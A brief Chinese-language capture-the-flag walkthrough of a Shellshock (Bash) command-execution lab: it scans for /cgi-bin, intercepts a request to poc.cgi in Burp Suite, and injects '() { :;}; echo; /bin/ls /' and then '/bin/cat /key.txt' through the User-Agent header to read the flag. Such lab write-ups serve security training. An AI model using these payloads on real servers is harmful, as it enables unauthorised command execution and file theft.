Bash漏洞分析溯源

难易程度:★★
题目类型:命令执行
使用工具:FireFox浏览器、wwwscan

1.打开靶场，根据题目思路找poc.cgi。

2.使用wwwscan扫一下
发现有目录/cgi-bin

3.打开burpsuite，访问/cgi-bin/poc.cgi，截包。
send to repeater，修改user-agent为() { :;}; echo; /bin/ls /
go一下，发现key.txt。

4.再把user-agent修改为() { :;}; echo; /bin/cat /key.txt，获取到key。